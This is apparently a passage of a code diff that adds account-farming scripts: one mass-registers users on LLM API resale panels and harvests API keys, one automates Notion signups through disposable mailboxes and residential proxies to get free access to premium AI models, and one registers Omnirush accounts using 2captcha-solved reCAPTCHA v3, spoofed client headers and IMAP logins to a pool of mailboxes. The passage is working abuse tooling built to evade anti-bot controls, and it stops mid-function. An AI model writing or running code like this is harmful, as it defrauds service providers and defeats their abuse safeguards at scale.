||||
log(idx, "login fail:", st, str(j)[:120]); time.sleep(10)
|
||||
if not jwt:
|
||||
rec = {"username":u,"password":p,"aff":AFF,"status":"reg_ok_login_fail","ts":int(time.time())}
|
||||
open(POOL,"a",encoding="utf-8").write(json.dumps(rec)+"\n")
|
||||
return rec
|
||||
# 3. create token + reveal key
|
||||
key = None; tid = None
|
||||
st, resp = http("POST", "/api/token/", jwt=jwt, body={"name":"main","remain_quota":500000,"expired_time":-1,"unlimited_quota":True,"model_limits":"","allowed_ips":""})
|
||||
if st == 200:
|
||||
st2, resp2 = http("GET", "/api/token/?p=0&size=10", jwt=jwt)
|
||||
try:
|
||||
items = json.loads(resp2)["data"]["items"]
|
||||
if items:
|
||||
tid = items[0]["id"]
|
||||
st3, resp3 = http("POST", f"/api/token/{tid}/key", jwt=jwt, raw_body=b"{}")
|
||||
if st3 == 200:
|
||||
key = json.loads(resp3)["data"]["key"]
|
||||
except Exception as e:
|
||||
log(idx, "key err", e)
|
||||
rec = {"username":u,"password":p,"aff":AFF,"jwt":jwt,"token_id":tid,"api_key":("sk-"+key) if key and not key.startswith("sk-") else key,"status":"full","ts":int(time.time())}
|
||||
open(POOL,"a",encoding="utf-8").write(json.dumps(rec)+"\n")
|
||||
log(idx, "FULL OK", u, "key:", (key or "NONE")[:14]+"...")
|
||||
json.dump({"last_idx":idx,"last_user":u,"ts":int(time.time())}, open(STATE,"w"))
|
||||
return rec
|
||||
|
||||
def main():
|
||||
target = int(sys.argv[1]) if len(sys.argv)>1 else 50
|
||||
ok = 0
|
||||
for i in range(target):
|
||||
try:
|
||||
r = make_account(i)
|
||||
if r and r.get("status")=="full": ok += 1
|
||||
except Exception as e:
|
||||
log(i, "FATAL", repr(e)[:200])
|
||||
time.sleep(20)
|
||||
time.sleep(3)
|
||||
log("DONE. full accounts:", ok)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
64
providers/newapi_panels_oauth.py
Normal file
64
providers/newapi_panels_oauth.py
Normal file
@@ -0,0 +1,64 @@
|
||||
# reg_proxy100.py — волны ×100 через свежие прокси из пула ProxyGrabReform_bot
|
||||
# python reg_proxy100.py <panel> <start> <count> [idxlist]
|
||||
import sys, os, time
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm')
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
|
||||
import proxy_patch
|
||||
n = proxy_patch.apply()
|
||||
print(f'[proxy] pool={n}', flush=True)
|
||||
import reg_http as R
|
||||
|
||||
R.PANELS.update({
|
||||
'careke': 'https://api.careke.cn',
|
||||
'budsin': 'https://apichat.budsin.dev',
|
||||
'factory': 'https://factory.pub',
|
||||
'chengmo': 'https://api.chengmo.cc.cd',
|
||||
'vsllm': 'https://vsllm.cc',
|
||||
'bluesminds': 'https://api.bluesminds.com',
|
||||
'futureppo': 'https://api.futureppo.top',
|
||||
'xinjianya': 'https://new.xinjianya.top',
|
||||
'wyy22': 'https://www.wyy22.com',
|
||||
})
|
||||
R.CID_CACHE.update({
|
||||
'careke': 'Ov23lidGyKz1a4vvTJcO',
|
||||
'budsin': 'Ov23liRLk2EjkL1U6wBq',
|
||||
'factory': 'Ov23liYpDvO0unvs30hv',
|
||||
'chengmo': 'Ov23lisqBbgryYRmy9iq',
|
||||
'vsllm': 'Ov23lilzfngji58FxRgd',
|
||||
'bluesminds': 'Ov23li6dIXgEIlgaZfwe',
|
||||
'futureppo': 'Ov23liuf3EDERWtH3z8s',
|
||||
'xinjianya': 'Ov23liJMiO2uF9Gd9Y8O',
|
||||
'wyy22': 'Ov23li6UR9HGe9xBUCXf',
|
||||
'orcarouter': 'Ov23liG25dfcvokSRMvE',
|
||||
'justwoker': 'Ov23liBGecTYSePKpXQC',
|
||||
'jbbtoken': 'Ov23liuIBUfD02Nbt6vt',
|
||||
'jianzhile': 'Iv23li6yE1ijJOPIl3Vq',
|
||||
'moyuu': 'Ov23lieXHgDisyeiJk2d',
|
||||
'nova': 'Ov23li1gLxcYTVoL0Tjv',
|
||||
'aaawinn2': 'Ov23lifMixr1xZGPQf3K',
|
||||
})
|
||||
R.PANELS.update({'orcarouter': 'https://www.orcarouter.ai',
|
||||
'justwoker': 'https://api.justwoker.icu', 'jbbtoken': 'https://downstream.jbbtoken.cn',
|
||||
'jianzhile': 'https://jianzhile.vip', 'moyuu': 'https://moyuu.cc',
|
||||
'nova': 'https://nova.vcrauo.com', 'aaawinn2': 'https://aaawinn.xyz'})
|
||||
R.SMOKE_MODEL.update({'orcarouter': 'gpt-4o-mini'})
|
||||
R.SMOKE_MODEL.update({'careke': 'grok-4.6', 'budsin': 'claude-sonnet-5',
|
||||
'factory': 'grok-4.7', 'chengmo': 'glm-4.5-air',
|
||||
'bluesminds': 'gpt-4o-mini', 'futureppo': 'gpt-4o-mini',
|
||||
'xinjianya': 'gpt-4o-mini', 'wyy22': 'gpt-4o-mini'})
|
||||
R.AFF_OVERRIDE = {'careke': 'aLn9', 'budsin': '069W', 'factory': '6oZK', 'chengmo': 'lz0Q'}
|
||||
R.OUT = os.environ.get('OUTNAME', 'proxy100')
|
||||
|
||||
_orig_main = R.main
|
||||
def main_paced():
|
||||
_orig_sleep = time.sleep
|
||||
def paced(n):
|
||||
_orig_sleep(max(n, 20))
|
||||
time.sleep = paced
|
||||
try:
|
||||
_orig_main()
|
||||
finally:
|
||||
time.sleep = _orig_sleep
|
||||
|
||||
if __name__ == '__main__':
|
||||
main_paced()
|
||||
373
providers/notion_farm.py
Normal file
373
providers/notion_farm.py
Normal file
@@ -0,0 +1,373 @@
|
||||
# Notion Opus/GPT-6.1 free farm — FULL PIPELINE
|
||||
# 1. Voidash mailbox 2. Signup + code 3. Onboarding 4. Model select + test message
|
||||
# Usage: python farm.py N [model]
|
||||
import asyncio, json, re, sys, time, random, string, os
|
||||
import httpx
|
||||
from playwright.async_api import async_playwright
|
||||
|
||||
BASE = "C:/Users/User/tmp/notion_autoreg"
|
||||
OUT = BASE + "/farm_accounts.jsonl"
|
||||
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"
|
||||
VOIDASH_DOMAINS = ["voidash.bond"]
|
||||
NOTION_SIGNUP = "https://www.notion.so/signup"
|
||||
FIRSTS = ["alex", "maria", "peter", "laura", "stef", "anna", "tony", "nina", "eric", "sara", "luca", "jana", "tom", "lena", "paul", "kate"]
|
||||
|
||||
# 1024proxy residential DE — sticky session per account
|
||||
PX_USER = "YOUR_PROXY_USER"
|
||||
PX_PASS = "YOUR_PASSWORD"
|
||||
PX_HOST = "hk.1024proxy.io:3000"
|
||||
def de_proxy(sess=None):
|
||||
if sess is None:
|
||||
sess = random.randint(100000, 999999)
|
||||
return {"server": f"http://{PX_HOST}", "username": f"{PX_USER}-region-de-sess{sess}", "password": PX_PASS}
|
||||
|
||||
|
||||
async def goto_retry(page, url, tries=5, timeout=90000):
|
||||
for i in range(tries):
|
||||
try:
|
||||
await page.goto(url, wait_until="domcontentloaded", timeout=timeout)
|
||||
return True
|
||||
except Exception as e:
|
||||
print("goto retry", i, str(e)[:70])
|
||||
await asyncio.sleep(4)
|
||||
return False
|
||||
|
||||
|
||||
def voidash_create():
|
||||
domain = random.choice(VOIDASH_DOMAINS)
|
||||
with httpx.Client(timeout=25, trust_env=False) as c:
|
||||
r = c.post("https://api.voidash.com/api/v1/inboxes", json={"domain": domain})
|
||||
if r.status_code not in (200, 201):
|
||||
return None, f"voidash {r.status_code}: {r.text[:100]}"
|
||||
d = r.json()
|
||||
return d["address"], d["session_key"]
|
||||
|
||||
|
||||
def voidash_wait_code(session_key, deadline_s=240, since_ts=None):
|
||||
t0 = time.time()
|
||||
if since_ts is None:
|
||||
since_ts = t0
|
||||
headers = {"Authorization": f"Bearer {session_key}"}
|
||||
with httpx.Client(timeout=25, trust_env=False, headers=headers) as c:
|
||||
while time.time() - t0 < deadline_s:
|
||||
try:
|
||||
r = c.get("https://api.voidash.com/api/v1/messages")
|
||||
if r.status_code == 200:
|
||||
msgs = r.json()
|
||||
if isinstance(msgs, dict):
|
||||
msgs = msgs.get("messages", msgs.get("data", []))
|
||||
for m in msgs:
|
||||
try:
|
||||
created = m.get("created_at") or ""
|
||||
if created and since_ts:
|
||||
from datetime import datetime, timezone
|
||||
cts = datetime.fromisoformat(created.replace("Z", "+00:00")).timestamp()
|
||||
if cts < since_ts - 120:
|
||||
continue
|
||||
except Exception:
|
||||
pass
|
||||
subj = (m.get("subject") or "").lower()
|
||||
frm = json.dumps(m.get("from", {})).lower()
|
||||
if "notion" in subj or "notion" in frm:
|
||||
full_body = m.get("body") or m.get("text") or ""
|
||||
if not full_body:
|
||||
try:
|
||||
r2 = c.get(f"https://api.voidash.com/api/v1/messages/{m['id']}")
|
||||
full_body = r2.json().get("body") or r2.json().get("text") or ""
|
||||
except Exception:
|
||||
pass
|
||||
lines = [l.strip() for l in full_body.splitlines() if l.strip()]
|
||||
for l in lines[:4]:
|
||||
if re.fullmatch(r'[A-Za-z0-9]{6,8}', l):
|
||||
return l
|
||||
m2 = re.search(r'\b([A-Za-z0-9]{6})\b', full_body[:200])
|
||||
if m2:
|
||||
return m2.group(1)
|
||||
except Exception as e:
|
||||
print("voidash err:", str(e)[:120])
|
||||
time.sleep(6)
|
||||
return None
|
||||
|
||||
|
||||
async def farm_one(model="Opus"):
|
||||
res = {"status": "error", "step": "init", "model": model}
|
||||
# 1) mailbox
|
||||
addr, key = voidash_create()
|
||||
if not addr:
|
||||
res["error"] = key
|
||||
return res
|
||||
res["email"] = addr
|
||||
res["voidash_key"] = key
|
||||
print("MAILBOX:", addr)
|
||||
|
||||
async with async_playwright() as p:
|
||||
browser = await p.chromium.launch(headless=True, args=["--no-sandbox"], proxy=de_proxy())
|
||||
ctx = await browser.new_context(user_agent=UA, viewport={"width": 1600, "height": 1000})
|
||||
page = await ctx.new_page()
|
||||
try:
|
||||
# ===== 2) signup =====
|
||||
await goto_retry(page, NOTION_SIGNUP)
|
||||
await page.wait_for_timeout(6000)
|
||||
email_input = page.locator("input[type=email]").first
|
||||
for _t in range(5):
|
||||
try:
|
||||
await email_input.wait_for(state="visible", timeout=30000)
|
||||
break
|
||||
except Exception:
|
||||
print("email input not visible, reload", _t)
|
||||
await page.reload(wait_until="domcontentloaded", timeout=60000)
|
||||
await page.wait_for_timeout(5000)
|
||||
else:
|
||||
res["error"] = "email-input-never-visible"
|
||||
return res
|
||||
await email_input.fill(addr)
|
||||
await page.wait_for_timeout(600)
|
||||
cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first
|
||||
if await cont.count():
|
||||
await cont.click()
|
||||
else:
|
||||
await email_input.press("Enter")
|
||||
await page.wait_for_timeout(5000)
|
||||
body = (await page.inner_text("body")).lower()
|
||||
if "invalid email domain" in body or "problem" in body:
|
||||
res["error"] = "rejected: " + body[:150]
|
||||
await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png")
|
||||
return res
|
||||
|
||||
# ===== 3) code =====
|
||||
if "verification" in body or "code" in body:
|
||||
sent_ts = time.time()
|
||||
code = await asyncio.to_thread(voidash_wait_code, key, 240, sent_ts)
|
||||
if not code:
|
||||
res["error"] = "otp-not-found"
|
||||
await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png")
|
||||
return res
|
||||
res["otp"] = code
|
||||
print("CODE:", code)
|
||||
code_input = page.locator("input[autocomplete=one-time-code], input[inputmode=numeric], input[name=code]").first
|
||||
if await code_input.count():
|
||||
await code_input.fill(code)
|
||||
else:
|
||||
inputs = page.locator("input")
|
||||
cnt = await inputs.count()
|
||||
filled = False
|
||||
for j in range(cnt):
|
||||
inp = inputs.nth(j)
|
||||
t = await inp.get_attribute("type") or ""
|
||||
ph = (await inp.get_attribute("placeholder") or "").lower()
|
||||
if t not in ("email", "password") and "mail" not in ph:
|
||||
await inp.fill(code)
|
||||
filled = True
|
||||
break
|
||||
if not filled:
|
||||
cells = page.locator("input[maxlength=1]")
|
||||
cc = await cells.count()
|
||||
for j, ch in enumerate(code):
|
||||
if j < cc:
|
||||
await cells.nth(j).fill(ch)
|
||||
await page.wait_for_timeout(600)
|
||||
cont2 = page.get_by_role("button", name=re.compile("Continue", re.I)).first
|
||||
if await cont2.count():
|
||||
await cont2.click()
|
||||
await page.wait_for_timeout(7000)
|
||||
|
||||
# password (если есть)
|
||||
body = (await page.inner_text("body")).lower()
|
||||
pw_input = page.locator("input[type=password]").first
|
||||
if "password" in body and await pw_input.count():
|
||||
pw = "Not!" + ''.join(random.choices(string.ascii_letters + string.digits, k=10))
|
||||
res["password"] = pw
|
||||
await pw_input.fill(pw)
|
||||
await page.wait_for_timeout(400)
|
||||
cont3 = page.get_by_role("button", name=re.compile("Continue|Sign up|Create", re.I)).first
|
||||
if await cont3.count():
|
||||
await cont3.click()
|
||||
else:
|
||||
await pw_input.press("Enter")
|
||||
await page.wait_for_timeout(7000)
|
||||
|
||||
# ===== 3.5) workspace via API (надёжнее браузерного онбординга) =====
|
||||
try:
|
||||
cks = await ctx.cookies()
|
||||
tv2 = next((c["value"] for c in cks if c["name"] == "token_v2"), None)
|
||||
if tv2:
|
||||
api = httpx.Client(timeout=30, trust_env=False,
|
||||
headers={"User-Agent": UA, "Content-Type": "application/json"})
|
||||
gs = api.post("https://app.notion.com/api/v3/getSpaces", json={},
|
||||
cookies={"token_v2": tv2})
|
||||
has_space = False
|
||||
if gs.status_code == 200:
|
||||
for uid, rec in gs.json().items():
|
||||
if rec.get("space"):
|
||||
has_space = True
|
||||
if not has_space:
|
||||
cs = api.post("https://app.notion.com/api/v3/createSpace",
|
||||
json={"name": "My Space", "type": "personal", "planType": "personal"},
|
||||
cookies={"token_v2": tv2})
|
||||
res["api_create_space"] = cs.status_code
|
||||
print("API createSpace:", cs.status_code)
|
||||
else:
|
||||
res["api_create_space"] = "exists"
|
||||
api.close()
|
||||
except Exception as e:
|
||||
res["api_create_space_err"] = str(e)[:120]
|
||||
|
||||
# ===== 4) onboarding =====
|
||||
for attempt in range(15):
|
||||
body = (await page.inner_text("body")).lower()
|
||||
if "customize your profile" in body or "your name" in body:
|
||||
name_inputs = page.locator("input[type=text], input:not([type])")
|
||||
cnt = await name_inputs.count()
|
||||
for j in range(min(cnt, 1)):
|
||||
await name_inputs.nth(j).fill(random.choice(FIRSTS).capitalize() + " " + random.choice(FIRSTS).capitalize())
|
||||
cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first
|
||||
if await cont.count():
|
||||
await cont.click()
|
||||
for _ in range(10):
|
||||
await page.wait_for_timeout(1500)
|
||||
b2 = (await page.inner_text("body")).lower()
|
||||
if "customize your profile" not in b2 and "your name" not in b2:
|
||||
break
|
||||
continue
|
||||
if "how do you want to use" in body:
|
||||
opt = page.get_by_text(re.compile("for personal|for myself", re.I)).first
|
||||
if await opt.count():
|
||||
await opt.click()
|
||||
await page.wait_for_timeout(2000)
|
||||
cont = page.get_by_role("button", name=re.compile("Continue", re.I)).first
|
||||
if await cont.count():
|
||||
await cont.click()
|
||||
await page.wait_for_timeout(3000)
|
||||
continue
|
||||
if "start with your real work" in body or "connect email" in body:
|
||||
btn = page.get_by_role("button", name=re.compile("Start from scratch", re.I)).first
|
||||
if await btn.count():
|
||||
await btn.click()
|
||||
# ждём смены экрана
|
||||
for _ in range(10):
|
||||
await page.wait_for_timeout(1500)
|
||||
b2 = (await page.inner_text("body")).lower()
|
||||
if "start with your real work" not in b2:
|
||||
break
|
||||
continue
|
||||
if "create" in body and "workspace" in body:
|
||||
btn = page.get_by_role("button", name=re.compile("Create new workspace", re.I)).first
|
||||
if await btn.count():
|
||||
await btn.click()
|
||||
await page.wait_for_timeout(4000)
|
||||
continue
|
||||
if "desktop" in body and ("skip" in body or "faster" in body):
|
||||
skip = page.get_by_role("button", name=re.compile("skip for now|skip", re.I)).first
|
||||
if await skip.count():
|
||||
await skip.click()
|
||||
await page.wait_for_timeout(3000)
|
||||
continue
|
||||
if "/onboarding" not in page.url:
|
||||
break
|
||||
# generic continue — только кликабельные кнопки без disabled
|
||||
cont = page.locator('button:enabled, [role=button]:not([aria-disabled="true"])').filter(has_text=re.compile(r"^\s*(Continue|Next|Get started)\s*$", re.I)).first
|
||||
if await cont.count():
|
||||
await cont.click()
|
||||
await page.wait_for_timeout(3000)
|
||||
else:
|
||||
break
|
||||
|
||||
res["post_onboarding_url"] = page.url
|
||||
print("POST-ONBOARDING:", page.url)
|
||||
|
||||
# ===== 5) model select + test =====
|
||||
# Если после онбординга мы уже на /chat — НЕ делаем goto (перезагрузка убивает чат-сессию)
|
||||
if "/chat" not in page.url:
|
||||
await page.goto("https://app.notion.com/chat", wait_until="domcontentloaded", timeout=60000)
|
||||
try:
|
||||
await page.locator('[aria-label="Choose AI model"]').first.wait_for(state="visible", timeout=45000)
|
||||
except Exception:
|
||||
# fallback: перезагрузка + повторное ожидание
|
||||
try:
|
||||
await page.goto("https://app.notion.com/chat", wait_until="domcontentloaded", timeout=60000)
|
||||
await page.locator('[aria-label="Choose AI model"]').first.wait_for(state="visible", timeout=45000)
|
||||
except Exception:
|
||||
res["error"] = "chat/model button missing"
|
||||
await ctx.storage_state(path=f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json")
|
||||
res["state_path"] = f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json"
|
||||
res["status"] = "registered-no-chat"
|
||||
await browser.close()
|
||||
return res
|
||||
await page.wait_for_timeout(2000)
|
||||
await page.locator('[aria-label="Choose AI model"]').first.click()
|
||||
await page.wait_for_timeout(2500)
|
||||
items = page.locator('[role=menuitem]')
|
||||
cnt = await items.count()
|
||||
target = None
|
||||
for j in range(cnt):
|
||||
t = await items.nth(j).inner_text()
|
||||
if model.lower() in t.lower():
|
||||
target = items.nth(j)
|
||||
break
|
||||
if target is None:
|
||||
res["error"] = f"model {model} not in menu"
|
||||
else:
|
||||
await target.click()
|
||||
await page.wait_for_timeout(2000)
|
||||
print("MODEL SELECTED:", model)
|
||||
# test message
|
||||
chat_box = page.locator('[contenteditable=true]').first
|
||||
await chat_box.click()
|
||||
await chat_box.fill("Hello! Which model are you? Answer in one short sentence.")
|
||||
await page.wait_for_timeout(500)
|
||||
submit = page.locator('[aria-label="Submit AI message"]').first
|
||||
if await submit.count():
|
||||
await submit.click()
|
||||
else:
|
||||
await chat_box.press("Enter")
|
||||
# wait response
|
||||
for i in range(40):
|
||||
await page.wait_for_timeout(2500)
|
||||
body = (await page.inner_text("body")).lower()
|
||||
if "working on your request" not in body and "connecting the details" not in body:
|
||||
if "hello! which model" in body:
|
||||
break
|
||||
body_full = await page.inner_text("body")
|
||||
# extract reply: текст после нашего промпта
|
||||
try:
|
||||
idx = body_full.lower().rfind("hello! which model")
|
||||
reply = body_full[idx + 200:idx + 600].strip()
|
||||
res["ai_reply"] = reply[:300]
|
||||
except Exception:
|
||||
pass
|
||||
res["model_active"] = model
|
||||
res["final_url"] = page.url
|
||||
state_path = f"{BASE}/state_{addr.replace('@', '_at_').replace('.', '_')}.json"
|
||||
await ctx.storage_state(path=state_path)
|
||||
res["state_path"] = state_path
|
||||
if "signup" not in page.url and "login" not in page.url and "appeals" not in page.url:
|
||||
res["status"] = "ok"
|
||||
else:
|
||||
res["status"] = "incomplete"
|
||||
await page.screenshot(path=f"{BASE}/final_{int(time.time())}.png")
|
||||
except Exception as e:
|
||||
res["error"] = str(e)[:300]
|
||||
try:
|
||||
await page.screenshot(path=f"{BASE}/err_{int(time.time())}.png")
|
||||
except Exception:
|
||||
pass
|
||||
finally:
|
||||
await browser.close()
|
||||
return res
|
||||
|
||||
|
||||
async def main():
|
||||
n = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
model = sys.argv[2] if len(sys.argv) > 2 else "Opus"
|
||||
for i in range(n):
|
||||
print(f"=== farm {i+1}/{n} model={model} ===")
|
||||
res = await farm_one(model)
|
||||
with open(OUT, "a", encoding="utf-8") as f:
|
||||
f.write(json.dumps(res, ensure_ascii=False) + "\n")
|
||||
print("RESULT:", json.dumps(res, ensure_ascii=False)[:700])
|
||||
if res.get("status") != "ok" and i + 1 < n:
|
||||
print("-> continuing to next account")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
265
providers/omnirush_recaptcha.py
Normal file
265
providers/omnirush_recaptcha.py
Normal file
@@ -0,0 +1,265 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""Omnirush.ai autoreg — reversed API (reCAPTCHA v3 via 2captcha + client-signals header).
|
||||
|
||||
Flow (from registration-LBv3GV6_.js / omnirush-api-BCDm5SzM.js):
|
||||
POST /omnirush/register {email, display_name, domain, occupation, referral_source,
|
||||
consent_version, accept_consent, captcha_token, password}
|
||||
headers: X-OmniRush-Client-Signals: ch=windows&gl=d3d11&font=segoe&touch=0
|
||||
-> approval_state approved|pending ; Set-Cookie session
|
||||
POST /omnirush/me/verify-email {code} (6-digit code from mailbox)
|
||||
POST /omnirush/me/verify-email/resend (no body)
|
||||
POST /omnirush/activate {token} (if email carries an activate token)
|
||||
|
||||
Usage: python omni_reg.py [count]
|
||||
"""
|
||||
import json, sys, time, random, string, re, os
|
||||
import urllib.request, urllib.error, urllib.parse
|
||||
import http.cookiejar
|
||||
import imaplib, email as emaillib
|
||||
|
||||
BASE = "https://omnirush.ai"
|
||||
SITEKEY = "6LcwStMtAAAAAIIYIMlD3G53LRtZcxUE3_BZumMc"
|
||||
PAGEURL = "https://omnirush.ai/console"
|
||||
ACTION = "signup"
|
||||
CONSENT = "2026-10-07"
|
||||
SIGNALS = "ch=windows&gl=d3d11&font=segoe&touch=0"
|
||||
POOL = "C:/Users/User/Desktop/avtoreg/working_mails.txt"
|
||||
STATE = "omni_state.json"
|
||||
ACC = "omni_accounts.jsonl"
|
||||
KEY_FILE = "C:/Users/User/tmp/captcha_keys_2captcha.json"
|
||||
IMAP_HOST = "secureimap.t-online.de"
|
||||
UA = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
|
||||
"(KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36")
|
||||
|
||||
OCCUPATIONS = ["Backend developer", "Software engineer", "DevOps engineer",
|
||||
"Full-stack developer", "Systems programmer", "ML engineer"]
|
||||
SOURCES = ["search", "github", "reddit", "hacker news", "a friend"]
|
||||
DOMAINS = ["software", "devops-sre", "data-ml", "security", "systems-kernel"]
|
||||
|
||||
|
||||
def load_key():
|
||||
d = json.load(open(KEY_FILE))
|
||||
ks = d["keys"] if isinstance(d, dict) else d
|
||||
best, best_bal = None, -1e9
|
||||
for k in ks:
|
||||
try:
|
||||
out = post_form("https://api.2captcha.com/res.php",
|
||||
{"key": k["key"], "action": "getbalance", "json": 1}, timeout=30)
|
||||
bal = float(json.loads(out).get("request", -1))
|
||||
except Exception:
|
||||
bal = -1.0
|
||||
print(" key %s balance $%.3f" % (k.get("label"), bal))
|
||||
if bal > best_bal:
|
||||
best, best_bal = k["key"], bal
|
||||
if best_bal < 0.05:
|
||||
raise RuntimeError("all 2captcha keys empty (best $%.3f)" % best_bal)
|
||||
return best
|
||||
|
||||
|
||||
def post_form(url, data, timeout=60):
|
||||
r = urllib.request.Request(url, data=urllib.parse.urlencode(data).encode(),
|
||||
headers={"Content-Type": "application/x-www-form-urlencoded",
|
||||
"User-Agent": "Mozilla/5.0"})
|
||||
return urllib.request.urlopen(r, timeout=timeout).read().decode()
|
||||
|
||||
|
||||
def solve_recaptcha_v3(key, action=ACTION):
|
||||
sub = post_form("https://api.2captcha.com/in.php", {
|
||||
"key": key, "method": "userrecaptcha", "version": "v3",
|
||||
"googlekey": SITEKEY, "pageurl": PAGEURL, "action": action, "json": 1})
|
||||
j = json.loads(sub)
|
||||
if j.get("status") != 1:
|
||||
raise RuntimeError("v3 submit fail: %s" % sub[:200])
|
||||
rid = j["request"]
|
||||
for _ in range(30):
|
||||
time.sleep(7)
|
||||
g = post_form("https://api.2captcha.com/res.php",
|
||||
{"key": key, "action": "get", "id": rid, "json": 1})
|
||||
gj = json.loads(g)
|
||||
if gj.get("status") == 1:
|
||||
return gj["request"]
|
||||
if "CAPCHA_NOT_READY" in str(gj.get("request", "")):
|
||||
continue
|
||||
raise RuntimeError("v3 get fail: %s" % g[:200])
|
||||
raise RuntimeError("v3 timeout")
|
||||
|
||||
|
||||
class Client:
|
||||
def __init__(self):
|
||||
self.cj = http.cookiejar.CookieJar()
|
||||
self.op = urllib.request.build_opener(
|
||||
urllib.request.HTTPCookieProcessor(self.cj))
|
||||
self.op.addheaders = [
|
||||
("User-Agent", UA),
|
||||
("Accept", "application/json"),
|
||||
("Accept-Language", "en-US,en;q=0.9"),
|
||||
("Origin", BASE),
|
||||
("Referer", BASE + "/console"),
|
||||
("X-OmniRush-Client-Signals", SIGNALS),
|
||||
]
|
||||
|
||||
def req(self, path, data=None, method=None, timeout=40):
|
||||
body = json.dumps(data).encode() if data is not None else None
|
||||
r = urllib.request.Request(BASE + path, data=body,
|
||||
method=method or ("POST" if data is not None else "GET"))
|
||||
if body is not None:
|
||||
r.add_header("Content-Type", "application/json")
|
||||
try:
|
||||
with self.op.open(r, timeout=timeout) as resp:
|
||||
raw = resp.read().decode("utf-8", "replace")
|
||||
try:
|
||||
return resp.status, json.loads(raw)
|
||||
except Exception:
|
||||
return resp.status, raw
|
||||
except urllib.error.HTTPError as e:
|
||||
raw = e.read().decode("utf-8", "replace")
|
||||
try:
|
||||
return e.code, json.loads(raw)
|
||||
except Exception:
|
||||
return e.code, raw
|
||||
|
||||
|
||||
def imap_wait(email_addr, ipass, timeout=300):
|
||||
"""Return (code6, activate_token, links) from OmniRush mails."""
|
||||
deadline = time.time() + timeout
|
||||
while time.time() < deadline:
|
||||
try:
|
||||
m = imaplib.IMAP4_SSL(IMAP_HOST)
|
||||
m.login(email_addr, ipass)
|
||||
m.select("INBOX")
|
||||
typ, data = m.search(None, '(SUBJECT "OmniRush")')
|
||||
ids = data[0].split() if data and data[0] else []
|
||||
for i in ids[-5:]:
|
||||
typ, md = m.fetch(i, "(RFC822)")
|
||||
if not md or not md[0]:
|
||||
continue
|
||||
msg = emaillib.message_from_bytes(md[0][1])
|
||||
body = ""
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() in ("text/plain", "text/html"):
|
||||
body += part.get_payload(decode=True).decode("utf-8", "replace")
|
||||
else:
|
||||
body = msg.get_payload(decode=True).decode("utf-8", "replace")
|
||||
code = re.search(r"\b(\d{6})\b", re.sub(r"<[^>]+>", " ", body))
|
||||
act = re.search(r"omnirush\.ai/omnirush/activate\?token=([\w.-]+)", body)
|
||||
if not act:
|
||||
act = re.search(r"/activate[^\"'\s]*token=([\w.-]+)", body)
|
||||
links = re.findall(r"https://omnirush\.ai/[^\s\"'<]+", body)
|
||||
if code or act or links:
|
||||
m.logout()
|
||||
return (code.group(1) if code else None,
|
||||
act.group(1) if act else None, links)
|
||||
m.logout()
|
||||
except Exception as e:
|
||||
print(" imap err:", str(e)[:90])
|
||||
time.sleep(15)
|
||||
return None, None, []
|
||||
|
||||
|
||||
def rnd_name():
|
||||
a = random.choice(["Alex", "Max", "Nick", "Ivan", "Oleg", "Dmitry", "Sergey",
|
||||
"Pavel", "Anton", "Kirill", "Victor", "Roman"])
|
||||
b = random.choice(["Morgan", "Fischer", "Lang", "Weber", "Keller", "Novak",
|
||||
"Bauer", "Richter", "Wolf", "Stein"])
|
||||
return "%s %s" % (a, b)
|
||||
|
||||
|
||||
def one(email_addr, ipass, key):
|
||||
c = Client()
|
||||
pw = "Om" + "".join(random.choices(string.ascii_letters + string.digits, k=14)) + "3!"
|
||||
payload = {
|
||||
"email": email_addr,
|
||||
"display_name": rnd_name(),
|
||||
"domain": random.choice(DOMAINS),
|
||||
"occupation": random.choice(OCCUPATIONS),
|
||||
"referral_source": random.choice(SOURCES),
|
||||
"consent_version": CONSENT,
|
||||
"accept_consent": True,
|
||||
"password": pw,
|
||||
}
|
||||
rec = {"email": email_addr, "imap_pass": ipass, "password": pw,
|
||||
"display_name": payload["display_name"], "ts": int(time.time())}
|
||||
|
||||
for attempt in range(2):
|
||||
t0 = time.time()
|
||||
tok = solve_recaptcha_v3(key)
|
||||
print(" recaptcha v3 token %d chars in %.0fs" % (len(tok or ""), time.time() - t0))
|
||||
payload["captcha_token"] = tok
|
||||
st, resp = c.req("/omnirush/register/password", payload)
|
||||
print(" register HTTP %s: %s" % (st, str(resp)[:220]))
|
||||
code = resp.get("code") if isinstance(resp, dict) else None
|
||||
detail = resp.get("detail") if isinstance(resp, dict) else None
|
||||
err = code or detail
|
||||
if st in (200, 201):
|
||||
rec["approval_state"] = resp.get("approval_state") if isinstance(resp, dict) else "?"
|
||||
rec["resp"] = resp if isinstance(resp, dict) else str(resp)[:200]
|
||||
break
|
||||
if err == "captcha_failed" and attempt == 0:
|
||||
print(" captcha_failed, retrying with fresh token")
|
||||
time.sleep(3)
|
||||
continue
|
||||
rec["error"] = str(err or resp)[:120]
|
||||
return rec
|
||||
else:
|
||||
return rec
|
||||
|
||||
# email verification
|
||||
code6, act_tok, links = imap_wait(email_addr, ipass)
|
||||
if code6:
|
||||
st, r2 = c.req("/omnirush/me/verify-email", {"code": code6})
|
||||
print(" verify-email(%s) HTTP %s: %s" % (code6, st, str(r2)[:120]))
|
||||
rec["email_verified"] = st in (200, 201, 204)
|
||||
elif act_tok:
|
||||
st, r2 = c.req("/omnirush/activate", {"token": act_tok})
|
||||
print(" activate HTTP %s: %s" % (st, str(r2)[:120]))
|
||||
rec["activated"] = st in (200, 201, 204)
|
||||
else:
|
||||
